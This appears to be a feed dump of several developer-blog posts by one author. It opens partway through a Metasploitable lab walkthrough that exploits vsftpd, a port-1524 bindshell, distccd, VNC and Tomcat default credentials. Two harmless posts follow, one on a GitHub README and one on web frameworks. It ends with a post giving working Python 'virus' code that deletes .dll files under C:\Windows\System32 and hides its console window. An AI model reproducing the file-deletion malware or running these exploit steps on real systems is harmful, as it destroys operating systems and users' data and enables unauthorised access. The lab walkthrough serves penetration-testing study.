exploits will work, it is very helpful to know the service&lt;br&gt;
version behind an open port.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;-p-&lt;/strong&gt; : Scans all ports.&lt;/p&gt;

&lt;p&gt;Then you'll see a result such as this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5k82dzttopndw8krh8cv.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5k82dzttopndw8krh8cv.png" alt="nmap scan on metasploitable" width="800" height="528"&gt;&lt;/a&gt;&lt;br&gt;
As you might know the more open ports we have in a server, the less secure that server is. The reason is because the possibility of having vulnerable ports to exploit increases.&lt;/p&gt;
&lt;h2&gt;
  
  
  1. VSFTPD Open Port
&lt;/h2&gt;

&lt;p&gt;I'll start with the first open port (port 21 vsftpd).&lt;br&gt;
In your console, start the Metasploit framework by this command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;msfconsole
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;After metasploit started, type this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;search vsftpd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By this command we are searching for the service of the first open port that we've found.&lt;/p&gt;

&lt;p&gt;Now you'll see a result like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvkqtc8b2pgdhr2gnkbyk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvkqtc8b2pgdhr2gnkbyk.png" alt="search vsftpd to exploit" width="800" height="177"&gt;&lt;/a&gt;&lt;br&gt;
As you see we found 1 excellent module to exploit this port.&lt;br&gt;
Let's use it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;use 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And now we should know what options should we pass to this module to work.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;show options
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As the result says we should only specify &lt;code&gt;RHOST&lt;/code&gt; which is the IP of our target machine.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;set RHOST &amp;lt;your-target-machine-IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we are ready to exploit the Metasploitable.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;exploit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And BAM!!! &lt;br&gt;
You can now run any command you want or do malicious things to the target machine. &lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxzxfdb3g1m7kbdtt3z2l.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxzxfdb3g1m7kbdtt3z2l.png" alt="exploit Metasploitable" width="800" height="169"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  2. Bindshell Open Port
&lt;/h2&gt;

&lt;p&gt;Let's get into the second vulnerability which is very easy to detect.&lt;/p&gt;

&lt;p&gt;Well This one is the most hilarious type of vulnerability that a machine can have which takes us straight to the root account and normally is very rare.&lt;/p&gt;

&lt;p&gt;To do so, we use &lt;strong&gt;netcat&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nc &amp;lt;your-target-machine-IP&amp;gt; &amp;lt;port&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The port in this case is 1524.&lt;br&gt;
And now we are the root account because of the stupid mistake of the admin.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5s7k0k2vgms3gwq6ingc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5s7k0k2vgms3gwq6ingc.png" alt="netcat access root account vulnerability" width="800" height="134"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  3. DISTCCD Open Port
&lt;/h2&gt;

&lt;p&gt;distccd service is another vulnerable port which is open.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;search distccd
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It gives us 1 module to use.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;use 0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Again we have to specify the &lt;code&gt;RHOST&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;set RHOST &amp;lt;your-target-machine-IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now type this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;show payloads
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This command gives us every available command that we can use to exploit the target.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7fpnxi3bk46g0o3h9od0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7fpnxi3bk46g0o3h9od0.png" alt="payload options for distccd" width="800" height="236"&gt;&lt;/a&gt;&lt;br&gt;
In this case we should use payload number 5.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;set payload 5
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then exploit it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;exploit
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And YEAH! we could exploit it for the 3rd time.😎&lt;/p&gt;

&lt;h2&gt;
  
  
  4. VNC Open Port
&lt;/h2&gt;

&lt;p&gt;Another important vulnerability in our Nmap scan is the port 5900 which belongs to VNC.&lt;br&gt;
Exploiting this one is a little bit different but more interesting. 😛&lt;/p&gt;

&lt;p&gt;Type this command:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;vnc &amp;lt;your-target-machine-IP&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now we should enter the passsword.&lt;br&gt;
If we type &lt;code&gt;msfadmin&lt;/code&gt; it throws an authentication failure.&lt;br&gt;
But if we type &lt;code&gt;password&lt;/code&gt; as the password we can access it because of its weak password.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmb8zv17tvw1o3673ofwq.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fmb8zv17tvw1o3673ofwq.png" alt="VNC remote connection vulnerability" width="800" height="239"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  5. Apache Vulnerability
&lt;/h2&gt;

&lt;p&gt;In this item we're going to use Nmap script to find a vulnerability in Metasploitable Apache.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It allows users to write (and share) simple scripts to automate a wide variety of networking tasks. Those scripts are then executed in parallel with the speed and efficiency you expect from Nmap.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;We have different categories of NSE scripts such as auth, broadcast, brute, default. discovery, dos, exploit ...etc. &lt;br&gt;
We are going to use &lt;strong&gt;auth&lt;/strong&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap --script auth &amp;lt;your-target-machine-IP&amp;gt; -sV
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you scroll down, you'll see one of the auth vulnerabilities is for Apache at port 8180 which shows us the username and the password.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1eng4ujfrc3avymhrna6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1eng4ujfrc3avymhrna6.png" alt="Apache auth vulnerability" width="800" height="158"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Simply type this URL in your browser:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;your-target-machine-IP&amp;gt;:8180/admin/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then as our scan revealed, type &lt;code&gt;tomcat&lt;/code&gt; as the username and the &lt;br&gt;
password.&lt;/p&gt;

&lt;p&gt;You are now logged in to the Apache server of the target. Congratulation!🥳&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi39wqtozfsl9owbkt718.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fi39wqtozfsl9owbkt718.png" alt="Apache hack login" width="800" height="366"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Since Metasploitable is for learning penetration testing, you can find other vulnerabilities as well which if you are interested in, you may do just like what we did in this post.&lt;br&gt;
Led me know if you found other vulnerabilities.😉&lt;br&gt;
Thanks!🤡&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>linux</category>
      <category>metasploit</category>
      <category>nmap</category>
    </item>
    <item>
      <title>How does my GitHub readme look like?🍧</title>
      <dc:creator>Atena Dadkhah</dc:creator>
      <pubDate>Thu, 22 Dec 2022 09:00:35 +0000</pubDate>
      <link>https://forem.com/atenadadkhah/how-does-my-github-readme-look-like-16go</link>
      <guid>https://forem.com/atenadadkhah/how-does-my-github-readme-look-like-16go</guid>
      <description>&lt;p&gt;Hello. 👋&lt;br&gt;
Yesterday I decided to create a &lt;a href="https://github.com/atenadadkhah/atenadadkhah" rel="noopener noreferrer"&gt;GitHub readme&lt;/a&gt; for my profile. Before creating it, I read many tutorials and saw lots of perfect examples.&lt;br&gt;
Now I want to know whether I was successful or not?&lt;br&gt;
Is that a good readme? &lt;br&gt;
Thank you so much.😉💙  &lt;/p&gt;

</description>
      <category>security</category>
      <category>discuss</category>
    </item>
    <item>
      <title>3 Awesome frameworks I learned this year🥳</title>
      <dc:creator>Atena Dadkhah</dc:creator>
      <pubDate>Mon, 12 Dec 2022 11:14:11 +0000</pubDate>
      <link>https://forem.com/atenadadkhah/3-awesome-frameworks-i-learned-this-year-3od4</link>
      <guid>https://forem.com/atenadadkhah/3-awesome-frameworks-i-learned-this-year-3od4</guid>
      <description>&lt;p&gt;In this post I'm going to introduce top 3 powerful frameworks that I learned this year and I'm super excited to explain about what they do and how developers love them! Let's go... 🤩&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Laravel
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzex2q1squ7wm36prfy1a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzex2q1squ7wm36prfy1a.png" alt="laravel-framework-I-learned-this-year" width="450" height="208"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Laravel&lt;/strong&gt; is a free and open-source PHP framework based on &lt;strong&gt;MVC&lt;/strong&gt; architect that provides a set of tools and resources to build modern PHP applications. It performs as one of the most secure PHP frameworks.&lt;br&gt;
Laravel uses &lt;strong&gt;Blade&lt;/strong&gt; as its template engine and provides powerful database tools including an ORM (Object Relational Mapper).&lt;br&gt;
Laravel is also famous for simplifying some repeated tasks in web development such as authentication, authorization, session, middleware, routing...etc  which makes the life easier😉. &lt;/p&gt;

&lt;p&gt;Before learning Laravel I used to work with pure PHP but when I started learning it, that was like a huge progress and a huge change in the professional direction of my work.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Node.JS
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3of0jxx0nwuzzb7mmk2n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3of0jxx0nwuzzb7mmk2n.png" alt="nodejs-I-learned-this-year" width="300" height="200"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Oops! &lt;strong&gt;Node.JS&lt;/strong&gt; is neither a programming language nor a framework. (Some people say it's something between a framework and a language).&lt;br&gt;
But more accurately &lt;em&gt;Node.JS is a JavaScript runtime built on Google's open-source &lt;strong&gt;V8&lt;/strong&gt; JavaScript engine.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;In simple words as you know JavaScript is inside the browser but what if we could take JavaScript out of the browser and execute it somewhere else, without all the restrictions that we have in the browser 🤔? That's right! This is exactly what Node.JS is.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Tailwind
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvug2xr1y07aefw3uhdzw.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvug2xr1y07aefw3uhdzw.png" alt="tailwind-I-learned-this-year" width="300" height="180"&gt;&lt;/a&gt;&lt;br&gt;
Tailwind is a &lt;strong&gt;CSS&lt;/strong&gt; framework that uses low-level &lt;strong&gt;utility&lt;/strong&gt; classes to create layouts. (This is known as &lt;em&gt;utility-first&lt;/em&gt; framework🧩).&lt;br&gt;
Traditional CSS frameworks like bootstrap use classes that are directly correlated to components (eg. Alerts, Navbars). Tailwind uses classes as utilities to put together to build own custom components.&lt;/p&gt;

&lt;p&gt;✨Believe me! if you take a look at Tailwind you'll be addicted to this awesome front-end framework.🤑&lt;/p&gt;




&lt;p&gt;I hope this post has helped you and thank you for reading this post.❤️&lt;br&gt;
&lt;strong&gt;Don't forget!&lt;/strong&gt; Comment what you learned this year or what you want to learn in the new year. &lt;br&gt;
Thanks.😋&lt;/p&gt;

</description>
      <category>gratitude</category>
    </item>
    <item>
      <title>A Virus That Hates .dll Files</title>
      <dc:creator>Atena Dadkhah</dc:creator>
      <pubDate>Thu, 01 Dec 2022 07:44:26 +0000</pubDate>
      <link>https://forem.com/atenadadkhah/a-virus-that-hates-dll-files-2bpb</link>
      <guid>https://forem.com/atenadadkhah/a-virus-that-hates-dll-files-2bpb</guid>
      <description>&lt;p&gt;I've written a virus in Python which does a very tricky job!&lt;br&gt;
The main goal is to write a virus which destroys &lt;strong&gt;Windos OS&lt;/strong&gt;.&lt;/p&gt;


&lt;h2&gt;
  
  
  Important Files
&lt;/h2&gt;

&lt;p&gt;As we know, one of the most important files in Windows OS is a file with &lt;em&gt;.dll&lt;/em&gt; extension that is usually stored in &lt;strong&gt;C Drive&lt;/strong&gt; which our Windows OS was installed.&lt;br&gt;
So in this virus we're going to target &lt;em&gt;.dll&lt;/em&gt; files which are vitally important for Windows OS and if we remove them, in addition to the destruction of the operating system, the target will also lose her/his data.&lt;/p&gt;
&lt;h2&gt;
  
  
  Libraries
&lt;/h2&gt;

&lt;p&gt;OS&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Provides functions for creating and removing a directory...etc.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Win32gui&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Provides an interface to the native win32 GUI API.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Win32con&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Extended Win32 process creation and management capabilities are accessible through this module.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;
  
  
  Let's Code!
&lt;/h2&gt;

&lt;p&gt;First you should import these libraries.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;win32gui&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;win32con&lt;/span&gt;

&lt;span class="c1"&gt;# Clear Terminal
&lt;/span&gt;&lt;span class="n"&gt;clear&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;lambda&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;cls&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;clear&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nf"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then we should specify the directory that we want to inspect, and the file extensions that are important for us.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Path to inspect
&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;C:&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;Windows&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s"&gt;System32&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="c1"&gt;# Max file size
&lt;/span&gt;&lt;span class="n"&gt;maxFileSize&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;21182681&lt;/span&gt;

&lt;span class="c1"&gt;# File extensions
&lt;/span&gt;&lt;span class="n"&gt;EXTENSIONS&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;.dll&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Last step is to do a for loop in this path and in the files we'll have found, to see which file has &lt;em&gt;.dll&lt;/em&gt; extension and then delete them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; 
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;dirname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dirpaths&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;filenames&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;walk&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;filenames&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;ext&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;splitext&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
            &lt;span class="c1"&gt;# checks if a file has the specified extensions
&lt;/span&gt;            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;ext&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;EXTENSIONS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dirname&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;filename&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="c1"&gt;# Checks if file doesn't have a large size
&lt;/span&gt;                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;getsize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;maxFileSize&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                    &lt;span class="c1"&gt;# REMOVING FILES
&lt;/span&gt;                    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Deleted!&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;While we're running this python file we can also hide CMD or the Terminal.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;win32gui&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;win32con&lt;/span&gt;

&lt;span class="c1"&gt;# Hide CMD
&lt;/span&gt;&lt;span class="n"&gt;win32gui&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;ShowWindow&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;win32gui&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;GetForegroundWindow&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;win32con&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SW_HIDE&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



